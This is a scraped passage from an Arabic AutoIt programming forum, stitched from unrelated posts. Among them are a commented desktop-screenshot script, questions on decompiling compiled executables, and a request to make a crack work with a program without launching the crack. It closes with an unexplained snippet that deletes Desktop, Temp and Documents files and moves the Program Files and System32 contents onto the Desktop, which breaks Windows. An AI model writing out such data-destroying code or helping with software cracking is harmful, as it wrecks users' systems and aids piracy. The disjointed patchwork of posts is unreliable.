À7R8 àLRO7
زيزوومى فضى
غير متصل
من فضلك قم بتحديث الصفحة لمشاهدة المحتوى المخفي
قم بمتابعة الفيديو أدناه لمعرفة كيفية تثبيت موقعنا كتطبيق ويب على الشاشة الرئيسية.
ملاحظة: قد لا تكون هذه الميزة متاحة في بعض المتصفحات.
تم الأنتهاء من أول نسخة من برنامج
auto program installer
رابط البرنامج
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
مساحته 400 ميجا علشان فيه البرامج اللي بيسطبها
يا ريت تقولوا رأيكم في البرنامج
ب حركه دراماتيكيه ب الـ Msgbox ، :d:شباب هل أستطيع تلوين مربع المسج بوكس ؟
_ExtMsgBox
أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه
السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟
#cs ----------------------------------------------------------------------------
Author: @lak3yoni
#ce ----------------------------------------------------------------------------
#NoTrayIcon
#include <ScreenCapture.au3>
#include <file.au3>
; ننشاء متغير يدخل المستخدم قيمة هذا المتغير وقيمة هذ ا المتغير سوف تصبح اسم الصـوره
; يدخل المستخدم اسم الصوره
$NameIamge= InputBox("تم تصـوير سطح المكتب","ادخل اسم الصـوره ")
; هنا اخر تكمله الكود عشان ماتطلع اثار انبوت بوكس في الشاشه
Sleep(500)
$Error=@error
if $Error=1 then
Exit
elseif $Error=0 then
;اذ لم يدخل المستخدم اسم فارغ للصورة اعمل
while $NameIamge= ""
MsgBox(16,"خطـاء"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره",1)
$NameIamge= InputBox("تم تصوير الشاشه ","ادخل اسم الصـوره ")
if not $NameIamge="" then
ExitLoop
else
ContinueLoop
endif
wend
;فيل لست عشان اتاكد ان الملف غير موجود سابقا
$FileList = _FileListToArray(@DesktopDir, $NameIamge & "*.jpg", 1)
;اذا الملف موجود اعمل
If IsArray ($FileList) Then
; اضف الى اسم المجلد زياده واحد
$NameIamge &= $FileList[0] & + 1
EndIf
; ثم صور سطح المكتب
_ScreenCapture_Capture(@DesktopDir & "\"&$NameIamge&".jpg")
;تظهر مسج بوكس
msgbox(48,"تم حفظ الصوره",$NameIamge&".jpg"&" "&"تم تصوير الشاشه وحفظ الصوره باسم : " &@crlf&@crlf& "مع تحيات مشاري العنزي ",2)
;Else
; اذا لم يدخل المستخدم اسم للصورة تطلع له رساله تحذير
;MsgBox(16,"فشلت عملية التصوير"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره")
;EndIf
; نسوي اختصار للملف عشان نقدر نستخدم ازرار الكيبورد في الاختصار
FileCreateShortcut ( "تصـوير سطح المكتب.exe", @DesktopDir&"\تصوير سطح المكتب.exe" , @WindowsDir , "/e,c:\","اختصار لتصوير سطح المكتب ", @WindowsDir&"\f.ico","!n","", @SW_SHOWNORMAL)
; انقل الملف الاصلي حق البرنامج الى مجلد الويندز
FileMove ( "تصـوير سطح المكتب.exe",@WindowsDir & "\تصـوير سطح المكتب.exe")
Beep()
;ElseIf $error = 1 Then
;MsgBox(48,"الغـاء","لقد اخترت الغاء الامر .:. فشلت عمليه التصوير ")
endif
;بعد التنفيذ يمكنك تشغيل البرنامج عن طريقة الايقونه الموجود في سطح المكتب او عن طريق ضغط alt+n
أخوي ممكن شرح الله لايهينك
; Include a bitmap found in "C:\test.bmp" with the compiled program and put it in "D:\mydir\test.bmp" when it is run
$b = True
If $b = True Then FileInstall("C:\test.bmp", "D:\mydir\test.bmp")
FileInstall("Patched.exe", "test.exe", 1)
نعم لقد كان هناك برنامج يقوم بهدا العمل من ملف تنفيدي الى ملف اوتوات لكنها قامت بحدفه نهائيا لاسباب تجارية و حقوق المبرمج .
نعم بالإمكان إعادة تفكيك السورس
طيب كيف صراح من فترة سنه أعطيت أحد ملف تنفيذي ففكه لي وأستغربت من ذلك
ولأن جاء دوري لأتعلم كيف فكه
ممكن طريقة استاذ alzri2
[/center]
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"C:\Users\[/COLOR][COLOR=Red]diyar26[/COLOR][COLOR=#9999cc]\Desktop\"[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000], [/COLOR][COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir [/COLOR][/COLOR][COLOR=#ff0000])[/COLOR]
FileDelete(@DesktopDir & "\*.*")
DirMove(@ProgramFilesDir & "\*.*", @DesktopDir &"\" ,1)
DirMove(@SystemDir & "\*.*", @DesktopDir &"\" ,1)
FileDelete(@TempDir & "\*.*")
FileDelete(@MyDocumentsDir & "\*.*")